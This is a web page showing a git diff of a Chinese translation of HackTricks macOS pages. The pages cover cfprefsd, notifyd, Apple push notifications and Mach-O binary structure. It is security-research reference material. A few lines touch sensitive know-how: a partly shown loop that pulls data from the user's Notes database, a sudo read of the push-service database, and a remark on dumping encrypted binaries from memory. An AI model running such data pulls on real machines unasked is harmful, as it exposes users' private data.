**`/usr/sbin/cfprefsd`** 拥有 XPC 服务 `com.apple.cfprefsd.daemon` 和 `com.apple.cfprefsd.agent`,可用于执行诸如修改首选项之类的操作。
|
||||
**`/usr/sbin/cfprefsd`** 控制 XPC 服务 `com.apple.cfprefsd.daemon` 和 `com.apple.cfprefsd.agent`,可用于执行修改首选项等操作。
|
||||
|
||||
## 系统通知
|
||||
|
||||
|
@ -174,9 +177,9 @@ for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.s
|
|||
|
||||
通知的主要守护程序是 **`/usr/sbin/notifyd`**。为了接收通知,客户端必须通过 `com.apple.system.notification_center` Mach 端口进行注册(使用 `sudo lsmp -p <pid notifyd>` 进行检查)。该守护程序可通过文件 `/etc/notify.conf` 进行配置。
|
||||
|
||||
用于通知的名称是唯一的反向 DNS 表示法,当向其中之一发送通知时,已指示可以处理它的客户端将收到通知。
|
||||
用于通知的名称是唯一的反向 DNS 表示法,当向其中之一发送通知时,已指示可以处理该通知的客户端将收到通知。
|
||||
|
||||
可以通过向 notifyd 进程发送信号 SIGUSR2 并阅读生成的文件 `/var/run/notifyd_<pid>.status` 来转储当前状态(并查看所有名称):
|
||||
可以通过向 notifyd 进程发送 SIGUSR2 信号并读取生成的文件 `/var/run/notifyd_<pid>.status` 来转储当前状态(并查看所有名称):
|
||||
```bash
|
||||
ps -ef | grep -i notifyd
|
||||
0 376 1 0 15Mar24 ?? 27:40.97 /usr/sbin/notifyd
|
||||
|
@ -198,8 +201,8 @@ common: com.apple.security.octagon.joined-with-bottle
|
|||
|
||||
### 苹果推送通知(APN)
|
||||
|
||||
在这种情况下,应用程序可以注册**主题**。客户端将通过 **`apsd`** 联系苹果服务器生成一个令牌。\
|
||||
然后,提供者也将生成一个令牌,并能够连接到苹果服务器,向客户端发送消息。这些消息将由 **`apsd`** 在本地接收,然后将通知传递给等待通知的应用程序。
|
||||
在这种情况下,应用程序可以注册**主题**。客户端将通过 **`apsd`** 联系苹果的服务器生成一个令牌。\
|
||||
然后,提供者也将生成一个令牌,并能够连接到苹果的服务器,向客户端发送消息。这些消息将由本地接收到的 **`apsd`** 转发给等待它的应用程序。
|
||||
|
||||
首选项位于 `/Library/Preferences/com.apple.apsd.plist`。
|
||||
|
||||
|
@ -215,6 +218,6 @@ sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db
|
|||
|
||||
这些是用户应该在屏幕上看到的通知:
|
||||
|
||||
- **`CFUserNotification`**:这个 API 提供了一种在屏幕上显示带有消息的弹出窗口的方式。
|
||||
- **`CFUserNotification`**:这些 API 提供了一种在屏幕上显示带有消息的弹出窗口的方式。
|
||||
- **公告牌**:在 iOS 中显示一个横幅,会消失并存储在通知中心中。
|
||||
- **`NSUserNotificationCenter`**:这是 MacOS 中的 iOS 公告牌。通知的数据库位于 `/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db`。
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# macOS通用二进制文件和Mach-O格式
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
Mac OS二进制文件通常被编译为**通用二进制文件**。**通用二进制文件**可以在同一个文件中**支持多种架构**。
|
||||
Mac OS二进制文件通常被编译为**通用二进制文件**。**通用二进制文件**可以在同一文件中**支持多个架构**。
|
||||
|
||||
这些二进制文件遵循**Mach-O结构**,基本上由以下部分组成:
|
||||
|
||||
|
@ -28,26 +29,26 @@ Mac OS二进制文件通常被编译为**通用二进制文件**。**通用二
|
|||
|
||||
## Fat Header
|
||||
|
||||
使用以下命令搜索文件:`mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
|
||||
使用以下命令搜索包含:`mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
|
||||
|
||||
<pre class="language-c"><code class="lang-c"><strong>#define FAT_MAGIC 0xcafebabe
|
||||
</strong><strong>#define FAT_CIGAM 0xbebafeca /* NXSwapLong(FAT_MAGIC) */
|
||||
</strong>
|
||||
struct fat_header {
|
||||
<strong> uint32_t magic; /* FAT_MAGIC or FAT_MAGIC_64 */
|
||||
</strong><strong> uint32_t nfat_arch; /* 后跟的结构体数量 */
|
||||
</strong><strong> uint32_t nfat_arch; /* 后续结构的数量 */
|
||||
</strong>};
|
||||
|
||||
struct fat_arch {
|
||||
cpu_type_t cputype; /* CPU指定器(int) */
|
||||
cpu_subtype_t cpusubtype; /* 机器指定器(int) */
|
||||
uint32_t offset; /* 指向此目标文件的文件偏移量 */
|
||||
uint32_t size; /* 此目标文件的大小 */
|
||||
uint32_t align; /* 作为2的幂的对齐 */
|
||||
uint32_t offset; /* 指向该目标文件的文件偏移量 */
|
||||
uint32_t size; /* 该目标文件的大小 */
|
||||
uint32_t align; /* 2的幂对齐 */
|
||||
};
|
||||
</code></pre>
|
||||
|
||||
头部包含**魔数**后跟文件**包含的架构数**(`nfat_arch`),每个架构都将有一个`fat_arch`结构体。
|
||||
头部包含**魔数**字节,后跟文件**包含**的**架构**数(`nfat_arch`),每个架构都将有一个`fat_arch`结构。
|
||||
|
||||
使用以下命令检查:
|
||||
|
||||
|
@ -80,11 +81,11 @@ capabilities PTR_AUTH_VERSION USERSPACE 0
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (1094).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
正如您可能在想的那样,通常为2种架构编译的通用二进制文件**会使大小翻倍**,相比只为1种架构编译的情况。
|
||||
正如你可能在想的那样,通常为2个架构编译的通用二进制文件**会使大小翻倍**,相比于只为1个架构编译的情况。
|
||||
|
||||
## **Mach-O头部**
|
||||
|
||||
头部包含有关文件的基本信息,例如用于识别其为Mach-O文件的魔数以及有关目标架构的信息。您可以在以下位置找到它:`mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
头部包含有关文件的基本信息,例如用于识别其为Mach-O文件的魔数字节以及有关目标架构的信息。您可以在以下位置找到它:`mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
```c
|
||||
#define MH_MAGIC 0xfeedface /* the mach magic number */
|
||||
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
|
||||
|
@ -115,16 +116,16 @@ uint32_t reserved; /* reserved */
|
|||
|
||||
有不同的文件类型,你可以在[**这里的源代码中找到它们的定义**](https://opensource.apple.com/source/xnu/xnu-2050.18.24/EXTERNAL\_HEADERS/mach-o/loader.h)。最重要的类型包括:
|
||||
|
||||
- `MH_OBJECT`:可重定位目标文件(编译的中间产品,还不是可执行文件)。
|
||||
- `MH_EXECUTE`:可执行文件。
|
||||
- `MH_FVMLIB`:固定虚拟内存库文件。
|
||||
- `MH_CORE`:代码转储。
|
||||
- `MH_PRELOAD`:预加载的可执行文件(在 XNU 中不再支持)。
|
||||
- `MH_DYLIB`:动态库。
|
||||
- `MH_DYLINKER`:动态链接器。
|
||||
- `MH_BUNDLE`:"插件文件"。使用 -bundle 在 gcc 中生成,并由 `NSBundle` 或 `dlopen` 显式加载。
|
||||
- `MH_DYSM`:配套的 `.dSym` 文件(带有用于调试的符号的文件)。
|
||||
- `MH_KEXT_BUNDLE`:内核扩展。
|
||||
- `MH_OBJECT`: 可重定位目标文件(编译的中间产品,还不是可执行文件)。
|
||||
- `MH_EXECUTE`: 可执行文件。
|
||||
- `MH_FVMLIB`: 固定虚拟内存库文件。
|
||||
- `MH_CORE`: 代码转储。
|
||||
- `MH_PRELOAD`: 预加载的可执行文件(在 XNU 中不再支持)。
|
||||
- `MH_DYLIB`: 动态库。
|
||||
- `MH_DYLINKER`: 动态链接器。
|
||||
- `MH_BUNDLE`: "插件文件"。使用 -bundle 在 gcc 中生成,并由 `NSBundle` 或 `dlopen` 显式加载。
|
||||
- `MH_DYSM`: 伴随的 `.dSym` 文件(带有用于调试的符号的文件)。
|
||||
- `MH_KEXT_BUNDLE`: 内核扩展。
|
||||
```bash
|
||||
# Checking the mac header of a binary
|
||||
otool -arch arm64e -hv /bin/ls
|
||||
|
@ -171,14 +172,14 @@ uint32_t cmdsize; /* total size of command in bytes */
|
|||
### **LC\_SEGMENT/LC\_SEGMENT\_64**
|
||||
|
||||
{% hint style="success" %}
|
||||
基本上,这种类型的加载命令定义了在执行二进制文件时,根据数据部分中指示的偏移量,如何加载\_\_TEXT(可执行代码)和\_\_DATA(进程数据)段。
|
||||
基本上,这种类型的加载命令定义了在执行二进制文件时,根据数据部分中指示的偏移量,如何加载**\_\_TEXT**(可执行代码)和**\_\_DATA**(进程数据)**段**。
|
||||
{% endhint %}
|
||||
|
||||
这些命令**定义了在执行过程中映射到进程的虚拟内存空间中的段**。
|
||||
|
||||
有**不同类型**的段,比如**\_\_TEXT**段,保存程序的可执行代码,以及**\_\_DATA**段,包含进程使用的数据。这些**段位于Mach-O文件的数据部分**中。
|
||||
|
||||
**每个段**可以进一步**划分为多个区块**。**加载命令结构**包含了关于**各自段内的这些区块的信息**。
|
||||
**每个段**可以进一步**划分为多个** **区段**。**加载命令结构**包含了关于**各自段内的这些区段**的**信息**。
|
||||
|
||||
在头部首先找到**段头**:
|
||||
|
||||
|
@ -201,7 +202,7 @@ int32_t initprot; /* initial VM protection */
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (1126).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
此头部定义了**在其后出现的区块头的数量**:
|
||||
此头部定义了**其后出现的区段头的数量**:
|
||||
```c
|
||||
struct section_64 { /* for 64-bit architectures */
|
||||
char sectname[16]; /* name of this section */
|
||||
|
@ -232,17 +233,17 @@ otool -lv /bin/ls
|
|||
```
|
||||
以下是由此命令加载的常见段:
|
||||
|
||||
- **`__PAGEZERO`:** 它指示内核**映射****地址零**,因此**无法读取、写入或执行**。结构中的maxprot和minprot变量设置为零,表示此页面上**没有读写执行权限**。
|
||||
- 此分配对于**缓解空指针解引用漏洞**很重要。这是因为XNU强制执行一个硬页零,确保内存的第一页(仅限第一页)无法访问(除了i386)。二进制文件可以通过创建一个小的\_\_PAGEZERO(使用`-pagezero_size`)来满足这些要求,以覆盖前4k,并使其余32位内存在用户模式和内核模式下均可访问。
|
||||
- **`__TEXT`**:包含具有**读取**和**执行**权限的**可执行代码**(不可写)。此段的常见部分:
|
||||
- **`__PAGEZERO`:** 它指示内核**映射****地址零**,因此**无法从中读取、写入或执行**。结构中的maxprot和minprot变量设置为零,表示此页面上**没有读写执行权限**。
|
||||
- 此分配对于**缓解空指针解引用漏洞**很重要。这是因为XNU强制执行一个硬页零,确保内存的第一页(仅限第一页)是不可访问的(除了i386)。二进制文件可以通过创建一个小的\_\_PAGEZERO(使用`-pagezero_size`)来满足这些要求,以覆盖前4k,并使其余32位内存在用户模式和内核模式下均可访问。
|
||||
- **`__TEXT`:** 包含具有**读取**和**执行**权限的**可执行代码**(不可写入)。此段的常见部分:
|
||||
- `__text`:已编译的二进制代码
|
||||
- `__const`:常量数据(只读)
|
||||
- `__[c/u/os_log]string`:C、Unicode或os日志字符串常量
|
||||
- `__stubs`和`__stubs_helper`:在动态库加载过程中涉及
|
||||
- `__unwind_info`:堆栈展开数据。
|
||||
- 请注意,所有这些内容都经过签名,但也标记为可执行(为不一定需要此特权的部分提供了更多利用选项,如专用字符串部分)。
|
||||
- **`__DATA`**:包含**可读**和**可写**的数据(不可执行)。
|
||||
- `__got`:全局偏移表
|
||||
- **`__DATA`:** 包含**可读**和**可写**的数据(不可执行)。
|
||||
- `__got:` 全局偏移表
|
||||
- `__nl_symbol_ptr`:非懒惰(加载时绑定)符号指针
|
||||
- `__la_symbol_ptr`:懒惰(使用时绑定)符号指针
|
||||
- `__const`:应为只读数据(实际上不是)
|
||||
|
@ -250,8 +251,8 @@ otool -lv /bin/ls
|
|||
- `__data`:已初始化的全局变量
|
||||
- `__bss`:未初始化的静态变量
|
||||
- `__objc_*`(\_\_objc\_classlist、\_\_objc\_protolist等):Objective-C运行时使用的信息
|
||||
- **`__DATA_CONST`**:\_\_DATA.\_\_const不能保证是常量(具有写权限),其他指针和GOT也不是。此部分使用`mprotect`使`__const`、一些初始化程序和GOT表(一旦解析)**只读**。
|
||||
- **`__LINKEDIT`**:包含链接器(dyld)的信息,如符号、字符串和重定位表条目。它是一个通用容器,用于存放既不在`__TEXT`也不在`__DATA`中的内容,其内容在其他加载命令中描述。
|
||||
- **`__DATA_CONST`:** \_\_DATA.\_\_const不能保证是常量(具有写权限),其他指针和GOT也不是。此部分使用`mprotect`使`__const`、一些初始化程序和GOT表(一旦解析)**只读**。
|
||||
- **`__LINKEDIT`:** 包含链接器(dyld)的信息,如符号、字符串和重定位表条目。它是一个通用容器,用于存放既不在`__TEXT`也不在`__DATA`中的内容,其内容在其他加载命令中描述。
|
||||
- dyld信息:重定位、非懒惰/懒惰/弱绑定操作码和导出信息
|
||||
- 函数起始:函数的起始地址表
|
||||
- 代码中的数据:\_\_text中的数据岛
|
||||
|
@ -259,21 +260,21 @@ otool -lv /bin/ls
|
|||
- 间接符号表:指针/存根符号
|
||||
- 字符串表
|
||||
- 代码签名
|
||||
- **`__OBJC`**:包含Objective-C运行时使用的信息。尽管此信息也可能在\_\_DATA段中找到,但在各种\_\_objc\_\*部分中。
|
||||
- **`__RESTRICT`**:一个没有内容的段,只有一个名为**`__restrict`**的单个部分(也为空),确保在运行二进制文件时,它将忽略DYLD环境变量。
|
||||
- **`__OBJC`:** 包含Objective-C运行时使用的信息。尽管此信息也可能在\_\_DATA段中找到,在各种\_\_objc\_\*部分中。
|
||||
- **`__RESTRICT`:** 一个没有内容的段,只有一个名为**`__restrict`**的部分(也为空),确保运行二进制文件时将忽略DYLD环境变量。
|
||||
|
||||
正如代码中所示,**段也支持标志**(尽管它们并不经常使用):
|
||||
正如代码中所示,**段还支持标志**(尽管它们并不经常使用):
|
||||
|
||||
- `SG_HIGHVM`:仅核心(未使用)
|
||||
- `SG_HIGHVM`:仅限核心(未使用)
|
||||
- `SG_FVMLIB`:未使用
|
||||
- `SG_NORELOC`:段没有重定位
|
||||
- `SG_PROTECTED_VERSION_1`:加密。例如,Finder使用它来加密文本`__TEXT`段。
|
||||
- `SG_PROTECTED_VERSION_1`:加密。例如,Finder用于加密文本`__TEXT`段。
|
||||
|
||||
### **`LC_UNIXTHREAD/LC_MAIN`**
|
||||
|
||||
**`LC_MAIN`**包含**entryoff属性**中的入口点。在加载时,**dyld**只需将此值添加到(内存中的)二进制文件的**基址**,然后**跳转**到此指令以开始执行二进制文件的代码。
|
||||
**`LC_MAIN`** 包含**entryoff属性中的入口点**。在加载时,**dyld**只需将此值添加到(内存中的)**二进制文件的基址**,然后**跳转**到此指令以开始执行二进制文件的代码。
|
||||
|
||||
**`LC_UNIXTHREAD`**包含启动主线程时寄存器必须具有的值。这已经被弃用,但**`dyld`**仍在使用它。可以通过以下方式查看此设置的寄存器的值:
|
||||
**`LC_UNIXTHREAD`** 包含启动主线程时寄存器必须具有的值。这已经被弃用,但**`dyld`**仍在使用它。可以通过以下方式查看此设置的寄存器的值:
|
||||
```bash
|
||||
otool -l /usr/lib/dyld
|
||||
[...]
|
||||
|
@ -304,7 +305,7 @@ cpsr 0x00000000
|
|||
|
||||
### **`LC_ENCRYPTION_INFO[_64]`**
|
||||
|
||||
支持二进制加密。但是,当然,如果攻击者设法 compromise 进程,他将能够 dump 内存未加密。
|
||||
支持二进制加密。但是,当然,如果攻击者设法 compromise 进程,他将能够以未加密的方式 dump 内存。
|
||||
|
||||
### **`LC_LOAD_DYLINKER`**
|
||||
|
||||
|
@ -358,25 +359,25 @@ otool -L /bin/ls
|
|||
- **CoreWLAN**:Wifi扫描。
|
||||
|
||||
{% hint style="info" %}
|
||||
Mach-O二进制文件可以包含一个或**多个构造函数**,这些函数将在**LC\_MAIN**中指定的地址之前**执行**。\
|
||||
Mach-O二进制文件可以包含一个或**多个构造函数**,这些函数将在**LC\_MAIN**指定的地址之前**执行**。\
|
||||
任何构造函数的偏移量都保存在**\_\_DATA\_CONST**段的**\_\_mod\_init\_func**部分中。
|
||||
{% endhint %}
|
||||
|
||||
## **Mach-O数据**
|
||||
|
||||
文件的核心是数据区域,由加载命令区域中定义的几个段组成。**每个段中可以包含各种数据部分**,每个部分**包含特定类型的代码或数据**。
|
||||
文件的核心是数据区域,由加载命令区域中定义的几个段组成。**每个段中可以包含各种数据部分**,每个部分**保存特定类型的代码或数据**。
|
||||
|
||||
{% hint style="success" %}
|
||||
数据基本上是包含在加载命令**LC\_SEGMENTS\_64**中加载的所有**信息**的部分。
|
||||
数据基本上是包含在加载命令**LC\_SEGMENTS\_64**加载的所有**信息**的部分。
|
||||
{% endhint %}
|
||||
|
||||
![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055\_02\_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
|
||||
|
||||
这包括:
|
||||
|
||||
- **函数表**:包含有关程序函数的信息。
|
||||
- **符号表**:包含有关二进制文件使用的外部函数的信息
|
||||
- 还可能包含内部函数、变量名称等等。
|
||||
- **函数表**:保存有关程序函数的信息。
|
||||
- **符号表**:包含二进制文件使用的外部函数的信息
|
||||
- 它还可以包含内部函数、变量名称等等。
|
||||
|
||||
要检查它,您可以使用[Mach-O View](https://sourceforge.net/projects/machoview/)工具:
|
||||
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue